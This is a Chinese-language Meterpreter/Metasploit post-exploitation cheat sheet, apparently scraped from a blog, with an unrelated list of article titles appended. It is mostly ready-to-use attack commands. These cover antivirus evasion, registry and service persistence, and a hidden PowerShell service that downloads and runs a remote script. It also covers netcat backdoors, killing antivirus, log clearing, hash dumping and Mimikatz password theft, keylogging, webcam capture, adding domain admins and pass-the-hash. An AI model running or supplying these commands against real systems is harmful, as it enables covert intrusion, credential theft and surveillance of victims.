Meterpreter
监听
AutoRunScrip:自动执行脚本
如:自动执行post/windows/manage/migrate
set AutoRunScript post/windows/manage/migrate
set autorunscript migrate -f #获取shell后,将自动迁移到另一个进程
自动注入进程
set prependmigrate true
set prependmigrateProc svchost.exe
set exitonsession false //可以让建立监听的端口继续保持侦听,可以接受多个session
set stagerverifysslcert false //防止获取shell的时候出现的SSL_accept错误
免杀
将控制端向被控制端发送的stage进行编码,从而绕过symantec的查杀
set EnableStageEncoding true
set stageencoder x86/fnstenv_mov
set stageencodingfallback false
相当于使用RC4
msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=xxx lport=xxxx RC4PASSWORD=yourpass -f c
利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。可以绕过symantec,且不用设置stageencoder选项,更稳定更方便
绕过杀软的添加自启动
exploit/windows/local/registry_persistence
同类型的还有其他payload,如
exploit/windows/local/vss_persistence,exploit/windows/local/s4u_persistence
后门脚本
1.persistence
metasploit/scripts/meterpreter/persistence
用于创建通过启动项启动。会创建注册表,创建文件,但是很容易被杀软拦截。
命令示例:
run persistence -A -U -i -p -r 192.168.2.101
使用-S可创建服务。-U 会在HKCU添加启动项,-X 会在HKLM添加启动项
能实现同样功能的脚本还有:
exploit/windows/local/persistence.rb
exploit/windows/local/registry_persistence.rb
2.metsvc.rb
metasploit/scripts/meterpreter/metsvc.rb
用于创建服务启动。会创建meterpreter服务,并上传三个文件。很容易被杀软拦截,且安装服务需要管理员权限。
命令:
run metsvc -A
使用 -r 参数可卸载服务。
3、Scheduleme & Schtasksabuse
metasploit/scripts/meterpreter/scheduleme.rb
metasploit/scripts/meterpreter/schtasksabuse.rb
这两个脚本都是通过schtasks来创建计划任务来达到维持权限的目的
区别是scheduleme 需要当前进程拥有最高管理权限,而schtasksabuse则不需要,(测试发现很容易被杀软拦截)。
使用举例:
run scheduleme -m -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080" #上传nc并创建计划任务每一分钟执行一次 'nc -e cmd.exe -L -p 8080'
run scheduleme -m -c "cmd /c calc.exe" # 创建计划任务每一分钟执行一次打开计算器命令
其他参数有兴趣自己看看就不详细介绍了
schtasksabuse
run schtasksabuse -t 192.168.2.7 -c "cmd /c calc.exe" -d #每隔4秒执行一次calc.exe
使用脚本需要加-t参数
能实现同样功能的脚本还有:exploits/windows/local/s4u_persistence
4. Mof_ps_persist
Powershell之MOF后门 提到过,创建WMI后门的一种方式,可以在你的MSF添加此脚本。(运行需要管理员权限,不容易被拦截)
绕过拦截的计划任务:
schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo #每小时执行一次
设置持久化后门
设置powershell脚本开机自启动后门
sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.82:19001/a'))\""
sc config “name” start= auto
sc description “name” “description” 设置服务的描述字符串
net start “name” 启动服务
sc delete “name” 删除这个服务,不想使用服务直接删除
创建自启动木马服务
先创建一个服务名称后面跟着木马上传的路径,这里如果要保证”windows Service EXE程序不被杀毒软件拦截,最好做下免杀,在放到更加隐蔽的目录
sc create "server power" binpath= "C:\Users\Administrator\Desktop\artifact.exe"
sc description "server power" "description" 设置服务的描述字符串
sc config "server power" start= auto 设置这个服务为自动启动
net start "server power" 启动服务
也可以用注册表添加自启动
生成一个exe木马程序(免杀)
设置开机启动项,往注册表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run添加木马程序路径
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Users\Administrator\Desktop\artifact1.exe" /f
当系统注销,再次进入登入到目标系统就会上线,权限是继承的。
Meterpreter后渗透命令
基本命令
ps/migrate/sysinfo/screenshot /background cd/cat/ls/del/mkdir/rm/edit
edit c:\\windows\\system32\\drivers\\etc\\hosts 编辑文件 upload /root/nc.exe c:\\windows\\system32 #上传
download c:\\Programs Files\\Tecent\\QQ\\Users\\qq号\\Msg2..db /etc(聊天记录) #下载目标聊天记录,可用Qqlogger查看 clearev --清除日志
run killav --干掉杀软
run vnc --开启目标vnc服务
run scraper --列举系统及用户敏感信息、下载用户注册表
run metsvc --在目标上将meterpreter安装为后门服务,
绕过 UAC
meterpreter> run post/windows/escalate/bypassuac uictl enable keyboard/mouse #获取键盘或鼠标的控制权
timestomp 文件a -f 文件b #把文件a的时间信息设置的与b相同
run webcam -p 图片保存路径 #开启目标摄像头并截图
run packetrecorder –i 会话序号 #捕获流量数据包.pcap setdesktop -更改 meterpreter 桌面
sessions –u 会话序号 #将shenll会话转换成meterpreter
getwd –显示目录 lcd -更改目录
getprivs -获取更多特权 getpid -获取当前进程 ID (PID)
getsystem 获得系统权限 getuid -获取作为运行服务器的用户
search –d c:\\windows –f *.mdb #在目标主机Windows目录中搜索文件
提权
use priv
getsystem
getuid
执行程序
execute -H -i -f cmd.exe #隐藏执行cmd并与之交互
execute -H -m -d calc.exe -f wce.exe -a “-o foo.txt”
#隐藏,从内存中,显示虚假运行程序,执行恶意程序
搜集信息
run post/windows/gather/forensics/enum_drivers #获取磁盘分区信息
run post/windows/gather/checkvm (run checkvm) #检测是否为虚拟机
run post/windows/gather/dumplinks --查看目标最近系统操作路径(较慢)
run post/windows/gather/enum_applications #查看目标的软件更新和补丁
获取hash
hashdump或run hashdump或run smart_hashdump
>run post/windows/gather/hashdump
>run /windows/gather/smart_hashdump --可绕过windows UAC控制
reg command #修改注册表
run getgui –u 建立用户名 –p 建立用户的密码 #建立账户并开启远程终端
run multi_console_command –rc /root/.msf3/logs/scripts/getgui/clean_up_*.rc #清除脚本痕迹
键盘记录
keyscan_start keyscan_dump keyscan_stop
run post/windows/capture/keylog_recorder
嗅探
msf > use auxiliary/sniffer/psnuffle
msf auxiliary(psnuffle) > run
开启 RDP 服务
reg add "hklm\system\currentcontrolset\control\terminal server"
/f /v fDenyTSConnections /t REG_DWORD /d
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
关闭 Windows 防火墙
netsh firewall set opmode disable
开启vnc
meterpreter>runvnc
meterpreter>runscreen_unlock
远程连接
我们尝试用RDP连接到Windows 7,。
>use post/windows/manage/enable_rdp 首先在msfconsole运行enable_rdp模块
>set SESSION 把SESSION设置为无UAC限制的有权限的session
>run
然后用haxtorDaMan账号登录
:xfreerdp /v:192.168.1.108 /port:/size:×/u:haxtorDaMan /p:hax@Pass50
端口转发与远程桌面连接
portfwd add –l (转发至本机的端口号) –p -r 目标IP
rdesktop [-u 用户名 –p 密码] 127.0.0.1:
rdesktop 192.168.1.3 -f 1024x768
远程挂在本地文件夹(本地/home和/root文件夹挂在到远程服务器上分别命名为h和r)
redsktop 192.168.1.3 -r disk:h=/home,r=/root
共享剪贴板: redsktop 192.168.1.3 -r clipboard:PRIMARYCLIPBOARD
Meterpreter 端口转发
https://www.offensivesecurity.com/metasploitunleashed/portfwd/
#
# 反弹10.1.1.129端口3389到本地2222并监听
meterpreter > portfwd add -l -r 10.1.1.129 -p
root@kali:~# rdesktop 127.1.1.0:
使用 Mimikatz 获取 Windows 明文用户名密码
git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full
用kiwi获取明文密码:
meterpreter>load kiwi
meterpreter> creds_all
meterpreter> lsa_dump_sam
使用mimikatz自带的命令:
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
<前面一句命令在密码超过14位时LM会为空,后一句命令可能得到明文>
Metaspolit中使用Mimikatz:
使用metasploit内建的命令:
meterpreter > load mimikatz
meterpreter > msv #msv creden
meterpreter > kerberostials #kerberos credentials 获取到系统hash置换,可以去http://www.cmd5.com/进行NTLM解密
当获取到密码的hash之后无法破解出明文密码且无法直接使用hash登陆,需要使用
pass-the-hash技术:
msf>use windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST xxxx
set LPORT xxxx
set RHOST xxxx
set SMBPassword xxxx
exploit
传递哈希攻击
meterpreter > run post /windows/ gather/hashdump
Administrator::e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf > use exploit /windows/ smb/psexec
msf exploit(psexec) > set payload windows /meterpreter/ reverse_tcp
msf exploit(psexec) > set SMBPass
e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
显示远程机器的防火墙规则,列出DEP和UAC策略。并禁用之
> run getcountermeasure
> run getcountermeasure -h
> run getcountermeasure -d -k
提权一般步骤
> use priv > getsystem
> ps > steal_token
> shell
net user hack password /add /DOMAIN
net group "DomainAdmins" hack /add /DOMAIN 创建一个管理员帐号 (haxtorDaMan) 把它提升到管理员组,并且成为远程桌面用户
net user haxtorDaManhax@Pass50 /add
net localgroup “Administrators” haxtorDaMan /add
net localgroup“Remote Desktop Users” haxtorDaMan /
令牌模拟:
当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限, 之后登陆其他机器时不需要登陆密码。
> ps # 查看进程, 找出域控账户运行的进程 ID, 如 PID为
> steal_token
有时 ps命令列出的进程中可能不存在域控账户的进程,
此时使用 incognito模块查看可用 token:
> use incognito (use priv4 getsystem)
> list_tokens –u #列出可用 token
> impersonate_token SNEAKS.IN\\ihazdomainadmin
> add_user hacker password –h 域控制器IP #在域控主机上添加账户
> add_group_user “Domain Admins” hacker –h IP #将账户添加至域管理员
使用 Railgun操作 windowsAPIs
例:
meterpreter> irb
>>client.core.use(“railgun”) #添加Railgun模块
>>client.railgun.user32.MessageBoxA(o,“我是hack!”,“world”,“MB_OK”)
#在目标机器上会弹出一个标题栏为 world,内容为“我是hack!”的窗口
>>client.railgun.user32.MessageBoxA(,“我是hack!”,NULL,“MB_OK”)
>> client.railgun.kernel32.SetThreadExecutionState(“ES_CONTINUOUS | ES_SYSTEM_
REQUIRED”) #阻止目标主机进入睡眠状态
Meterpreter的更多相关文章
- Meterpreter run vnc 遇到的问题
Metasploit框架中的meterpreter无疑是相当强大的工具,而且具有我目前挺喜欢的vnc.但是我在run vnc时发现得到的远程控制桌面是view-only的,通过-h选项发现没有修改的方 ...
- 渗透攻防工具篇-后渗透阶段的Meterpreter
作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23677530来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 前言 熟悉Metasploit ...
- Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter
Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter 原文链接:http://www.xuanhun521.com/Blog/7fc11b7a-b6cb-4 ...
- [转]Metasploit的meterpreter黑客脚本列表
原文地址: 摘要: Metasploit的框架是一个令人难以置信的黑客攻击和渗透测试工具,每一个黑客称职的应该是熟悉和有能力的. 在上一篇文章中,我提供了你的 meterpreter 命令列表.这些命 ...
- meterpreter_paranoid_mode.sh允许用户安全上演/无级连接Meterpreter经检查合格证书的处理程序正在连接到
刚刚看完即刻安全大咖的新姿势感觉很6逼,结果成功了meterpreter_paranoid_mode.sh允许用户安全上演/无级连接Meterpreter经检查合格证书的处理程序正在连接到. 我们开始 ...
- meterpreter基础命令大全
meterpreter meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用.为后渗透提供了很多便捷之处 基础命令 我们进入meterpreter之后,键入 ...
- 用meterpreter实现跳板机
meterpreter跳板机 背景:渗透测试者A拿到了B主机的控制权,但没有拿到ssh密码(不能打ssh隧道).现需横向移动渗透内网主机C,为了避免动作过大不便直接在B上对C进行渗透,其中C不能出 ...
- Meterpreter命令详解
0x01初识Meterpreter 1.1.什么是Meterpreter Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以 ...
- Meterpreter提权详解
0x01 Meterpreter自动提权 1.生成后门程序 我们在kali的命令行下直接执行以下命令获得一个针对windows的反弹型木马: msfvenom -p windows/meterpr ...
随机推荐
- web后端server优化
1,1. 就不需要优化一个页面模板,这些都是一些非常成熟的技术,甚至没有打招呼easy了10%的性能.这10%在整个页面的运行过程中仅仅占了0.5%的比例.微乎其微,等于是前面样例中的4车道变8车道的 ...
- OpenGL绘制棱锥,剔除
/** * 缓冲区工具类 */public class BufferUtil { /** * 将浮点数组转换成字节缓冲区 */ public static ByteBuffer arr2ByteB ...
- JS列表的下拉菜单组件(仿美化控件select)
JS列表的下拉菜单组件(仿美化控件select) 2014-01-23 23:51 by 龙恩0707, 1101 阅读, 6 评论, 收藏, 编辑 今天是农历23 也是小年,在这祝福大家新年快乐!今 ...
- C#中另辟蹊径解决JSON / XML互转的问题
C#中另辟蹊径解决JSON / XML互转的问题 最近在一个POC的项目中要用到JSON和XML的相互转换, 虽然我知道很多类库如JSON.NET具备这种功能, 但是我还是另辟蹊径的使用Spider ...
- web 安全知识
目录 背景最简单的 Web 物理架构攻击方式总览Web 软件安全攻击防护浏览器安全攻击Cookie 假冒隐藏变量修改跨站脚本攻击服务器安全攻击缓冲区溢出认证逃避非法输入授权逃避SQL 注入异常敏感信息 ...
- 任务分配book
上次写某道findpath的时候,没有写个二分答案没有过,之后就发现自己貌似一开始学分治那一块的时候就没有把二分学好....就打算重新回顾一下 这道题还算水,就是太久没有写模拟wa了3次....对自己 ...
- spring mvc在普通类中获取HttpServletRequest对象
如题,需要在web.xml中配置request监听,如下 <listener> <description>spring request监听器</description&g ...
- sql 数据库的备份还原问题
今天工作中犯了一个严重的错误,就是在sql中写了一个update语句,还没写条件呢,结果误按了F5,唉,太佩服自己啦...这个脑子怎么不管用了呢?? 唉不说了,我在网上翻来覆去的找资料,最终想是不是可 ...
- linux 之 popen函数
描述 popen() 函数 用 创建管道 的 方式启动一个 进程, 并调用 shell. 因为 管道是被定义成单向的, 所以 type 参数 只能定义成 只读或者 只写, 不能是 两者同时, 结果流也 ...
- C#HTTP代理的实现之注册表实现
HTTP代理的实现形式,可以通过修改注册表项,然后启动浏览器来实现,也可以通过SOCKET通信,构造HTTP头实现.下面是关于注册表实现的方式. 注册表实现,只需要修改几个关键的注册表项就可以了. 第 ...